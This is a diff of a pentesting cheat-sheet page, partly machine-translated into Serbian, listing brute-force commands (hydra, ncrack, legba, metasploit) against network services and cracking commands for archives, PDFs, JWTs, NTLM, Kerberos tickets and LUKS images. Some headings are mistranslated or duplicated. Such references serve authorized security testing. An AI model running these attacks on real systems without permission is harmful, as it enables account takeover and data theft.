Brute force attacks against POP (Post Office Protocol) servers can be used to guess usernames and passwords. This can be done using tools like Hydra, Ncrack, Medusa, or custom scripts. It's important to note that brute forcing is illegal unless you have explicit permission to test the security of a system.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||||
|
@ -305,7 +362,9 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
||||||
# SSL
|
# SSL
|
||||||
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
||||||
```
|
```
|
||||||
|
|
||||||
### PostgreSQL
|
### PostgreSQL
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||||
|
@ -315,39 +374,50 @@ use auxiliary/scanner/postgres/postgres_login
|
||||||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||||||
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
|
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
|
||||||
```
|
```
|
||||||
|
|
||||||
### PPTP
|
### PPTP
|
||||||
|
|
||||||
Možete preuzeti `.deb` paket za instalaciju sa [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
Možete preuzeti `.deb` paket za instalaciju sa [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### RDP
|
### RDP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||||
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Redis
|
### Redis
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/redis/redis_login
|
msf> use auxiliary/scanner/redis/redis_login
|
||||||
nmap --script redis-brute -p 6379 <IP>
|
nmap --script redis-brute -p 6379 <IP>
|
||||||
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||||||
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Rexec
|
### Rexec
|
||||||
|
|
||||||
### Rexec
|
### Rexec
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
|
|
||||||
### Rlogin
|
### Rlogin
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
|
|
||||||
### Rsh
|
### Rsh
|
||||||
|
|
||||||
---
|
***
|
||||||
|
|
||||||
Brute force attacks against the Rsh service can be carried out using the `rsh-brute` script in Nmap. This script performs a dictionary attack against Rsh servers to guess usernames and passwords. An example of how to use this script is shown below:
|
Brute force attacks against the Rsh service can be carried out using the `rsh-brute` script in Nmap. This script performs a dictionary attack against Rsh servers to guess usernames and passwords. An example of how to use this script is shown below:
|
||||||
|
|
||||||
|
@ -356,56 +426,73 @@ nmap --script rsh-brute <target>
|
||||||
```
|
```
|
||||||
|
|
||||||
This script can be useful during penetration testing to identify weak credentials on Rsh servers.
|
This script can be useful during penetration testing to identify weak credentials on Rsh servers.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||||
```
|
```
|
||||||
|
|
||||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||||
|
|
||||||
### Rsync
|
### Rsync
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### RTSP
|
### RTSP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt <IP> rtsp
|
hydra -l root -P passwords.txt <IP> rtsp
|
||||||
```
|
```
|
||||||
|
|
||||||
### SFTP
|
### SFTP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||||||
# Try keys from a folder
|
# Try keys from a folder
|
||||||
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||||
```
|
```
|
||||||
|
|
||||||
### SNMP
|
### SNMP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/snmp/snmp_login
|
msf> use auxiliary/scanner/snmp/snmp_login
|
||||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||||
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
||||||
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
||||||
```
|
```
|
||||||
|
|
||||||
### SMB
|
### SMB
|
||||||
|
|
||||||
### SMB
|
### SMB
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script smb-brute -p 445 <IP>
|
nmap --script smb-brute -p 445 <IP>
|
||||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||||
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
||||||
```
|
```
|
||||||
|
|
||||||
### SMTP
|
### SMTP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||||
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
||||||
```
|
```
|
||||||
|
|
||||||
### SOCKS
|
### SOCKS
|
||||||
|
|
||||||
### Čarape
|
### Čarape
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||||
# With alternative address
|
# With alternative address
|
||||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
||||||
```
|
```
|
||||||
|
|
||||||
### SQL Server
|
### SQL Server
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Use the NetBIOS name of the machine as domain
|
#Use the NetBIOS name of the machine as domain
|
||||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
|
@ -414,9 +501,11 @@ medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq
|
||||||
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||||||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||||
```
|
```
|
||||||
|
|
||||||
### SSH
|
### SSH
|
||||||
|
|
||||||
### SSH
|
### SSH
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||||
|
@ -426,6 +515,7 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
|
||||||
# Try keys from a folder
|
# Try keys from a folder
|
||||||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Slabe SSH ključeve / Debian predvidljiv PRNG
|
#### Slabe SSH ključeve / Debian predvidljiv PRNG
|
||||||
|
|
||||||
Neke sisteme karakterišu poznate slabosti u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. Ovo može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generisani setovi slabih ključeva takođe su dostupni, poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
Neke sisteme karakterišu poznate slabosti u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. Ovo može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generisani setovi slabih ključeva takođe su dostupni, poput [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||||
|
@ -433,12 +523,15 @@ Neke sisteme karakterišu poznate slabosti u slučajnom semenu koje se koristi z
|
||||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
|
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
|
||||||
|
|
||||||
STOMP tekstualni protokol je široko korišćeni protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** poput RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i obavljanje različitih operacija sa porukama.
|
STOMP tekstualni protokol je široko korišćeni protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** poput RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i obavljanje različitih operacija sa porukama.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Telnet
|
### Telnet
|
||||||
|
|
||||||
Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada. Brute force napad na Telnet server može biti efikasan ako su lozinke slabe ili nisu pravilno konfigurisane.
|
Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada. Brute force napad na Telnet server može biti efikasan ako su lozinke slabe ili nisu pravilno konfigurisane.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||||
|
@ -453,7 +546,9 @@ legba telnet \
|
||||||
--telnet-prompt ":~$ " \
|
--telnet-prompt ":~$ " \
|
||||||
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
||||||
```
|
```
|
||||||
|
|
||||||
### VNC
|
### VNC
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||||
|
@ -468,10 +563,13 @@ use auxiliary/scanner/vnc/vnc_login
|
||||||
set RHOSTS <ip>
|
set RHOSTS <ip>
|
||||||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||||
```
|
```
|
||||||
|
|
||||||
### Winrm
|
### Winrm
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
|
@ -499,6 +597,7 @@ Pristupite danas:
|
||||||
Proverite ovo pre nego što pokušate da probijete heš.
|
Proverite ovo pre nego što pokušate da probijete heš.
|
||||||
|
|
||||||
### ZIP
|
### ZIP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#sudo apt-get install fcrackzip
|
#sudo apt-get install fcrackzip
|
||||||
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
||||||
|
@ -514,10 +613,12 @@ john zip.john
|
||||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Poznati napad na zip sa tekstom u otvorenom obliku
|
#### Poznati napad na zip sa tekstom u otvorenom obliku
|
||||||
|
|
||||||
Potrebno je da znate **tekst u otvorenom obliku** (ili deo teksta) **fajla koji se nalazi unutar** enkriptovanog zipa. Možete proveriti **imenovanje fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zipa pokretanjem komande: **`7z l encrypted.zip`**\
|
Potrebno je da znate **tekst u otvorenom obliku** (ili deo teksta) **fajla koji se nalazi unutar** enkriptovanog zipa. Možete proveriti **imenovanje fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zipa pokretanjem komande: **`7z l encrypted.zip`**\
|
||||||
Preuzmite [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice sa izdanjima.
|
Preuzmite [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice sa izdanjima.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||||
zip plaintext.zip plaintext.file
|
zip plaintext.zip plaintext.file
|
||||||
|
@ -529,7 +630,9 @@ zip plaintext.zip plaintext.file
|
||||||
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
||||||
unzip unlocked.zip #User new_pwd as password
|
unzip unlocked.zip #User new_pwd as password
|
||||||
```
|
```
|
||||||
|
|
||||||
### 7z
|
### 7z
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||||
```
|
```
|
||||||
|
@ -540,11 +643,13 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo
|
||||||
apt-get install libcompress-raw-lzma-perl
|
apt-get install libcompress-raw-lzma-perl
|
||||||
./7z2john.pl file.7z > 7zhash.john
|
./7z2john.pl file.7z > 7zhash.john
|
||||||
```
|
```
|
||||||
|
|
||||||
### PDF
|
### PDF
|
||||||
|
|
||||||
---
|
***
|
||||||
|
|
||||||
Brute-force napadi su jedna od najjednostavnijih metoda napada na autentikaciju. Ovi napadi se oslanjaju na pokušaje svih mogućih kombinacija lozinki dok se ne pronađe odgovarajuća. Postoje alati koji mogu automatizovati ovaj proces i ubrzati pronalaženje ispravne lozinke. Kako bi se zaštitili od ovakvih napada, preporučuje se korišćenje jakih i složenih lozinki, kao i implementacija dodatnih sigurnosnih mehanizama poput dvostruke autentikacije.
|
Brute-force napadi su jedna od najjednostavnijih metoda napada na autentikaciju. Ovi napadi se oslanjaju na pokušaje svih mogućih kombinacija lozinki dok se ne pronađe odgovarajuća. Postoje alati koji mogu automatizovati ovaj proces i ubrzati pronalaženje ispravne lozinke. Kako bi se zaštitili od ovakvih napada, preporučuje se korišćenje jakih i složenih lozinki, kao i implementacija dodatnih sigurnosnih mehanizama poput dvostruke autentikacije.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
apt-get install pdfcrack
|
apt-get install pdfcrack
|
||||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||||
|
@ -553,11 +658,13 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||||
sudo apt-get install qpdf
|
sudo apt-get install qpdf
|
||||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||||
```
|
```
|
||||||
|
|
||||||
### Vlasnička lozinka PDF-a
|
### Vlasnička lozinka PDF-a
|
||||||
|
|
||||||
Da biste probili vlasničku lozinku PDF-a, pogledajte ovde: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
Da biste probili vlasničku lozinku PDF-a, pogledajte ovde: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||||
|
|
||||||
### JWT
|
### JWT
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/Sjord/jwtcrack.git
|
git clone https://github.com/Sjord/jwtcrack.git
|
||||||
cd jwtcrack
|
cd jwtcrack
|
||||||
|
@ -569,13 +676,17 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
|
||||||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||||
john jwt.john #It does not work with Kali-John
|
john jwt.john #It does not work with Kali-John
|
||||||
```
|
```
|
||||||
|
|
||||||
### NTLM krakovanje
|
### NTLM krakovanje
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||||
```
|
```
|
||||||
|
|
||||||
### Keepass
|
### Keepass
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||||
keepass2john file.kdbx > hash #The keepass is only using password
|
keepass2john file.kdbx > hash #The keepass is only using password
|
||||||
|
@ -583,24 +694,30 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
|
||||||
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||||
```
|
```
|
||||||
|
|
||||||
### Keberoasting
|
### Keberoasting
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||||
```
|
```
|
||||||
|
|
||||||
### Srećna slika
|
### Srećna slika
|
||||||
|
|
||||||
#### Metoda 1
|
#### Metoda 1
|
||||||
|
|
||||||
Instalacija: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
Instalacija: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
bruteforce-luks -f ./list.txt ./backup.img
|
bruteforce-luks -f ./list.txt ./backup.img
|
||||||
cryptsetup luksOpen backup.img mylucksopen
|
cryptsetup luksOpen backup.img mylucksopen
|
||||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||||
mount /dev/mapper/mylucksopen /mnt
|
mount /dev/mapper/mylucksopen /mnt
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Metoda 2
|
#### Metoda 2
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||||||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||||||
|
@ -609,19 +726,24 @@ cryptsetup luksOpen backup.img mylucksopen
|
||||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||||
mount /dev/mapper/mylucksopen /mnt
|
mount /dev/mapper/mylucksopen /mnt
|
||||||
```
|
```
|
||||||
|
|
||||||
Još jedan Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
Još jedan Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||||
|
|
||||||
### Mysql
|
### Mysql
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#John hash format
|
#John hash format
|
||||||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||||||
```
|
```
|
||||||
|
|
||||||
### PGP/GPG Privatni ključ
|
### PGP/GPG Privatni ključ
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||||
```
|
```
|
||||||
|
|
||||||
### Cisco
|
### Cisco
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -636,6 +758,7 @@ Ako imate xlsx fajl sa kolonom zaštićenom lozinkom, možete je ukloniti:
|
||||||
|
|
||||||
* **Postavite ga na google drive** i lozinka će automatski biti uklonjena
|
* **Postavite ga na google drive** i lozinka će automatski biti uklonjena
|
||||||
* Za **ručno uklanjanje**:
|
* Za **ručno uklanjanje**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
unzip file.xlsx
|
unzip file.xlsx
|
||||||
grep -R "sheetProtection" ./*
|
grep -R "sheetProtection" ./*
|
||||||
|
@ -644,13 +767,16 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV
|
||||||
# Remove that line and rezip the file
|
# Remove that line and rezip the file
|
||||||
zip -r file.xls .
|
zip -r file.xls .
|
||||||
```
|
```
|
||||||
|
|
||||||
### PFX Sertifikati
|
### PFX Sertifikati
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# From https://github.com/Ridter/p12tool
|
# From https://github.com/Ridter/p12tool
|
||||||
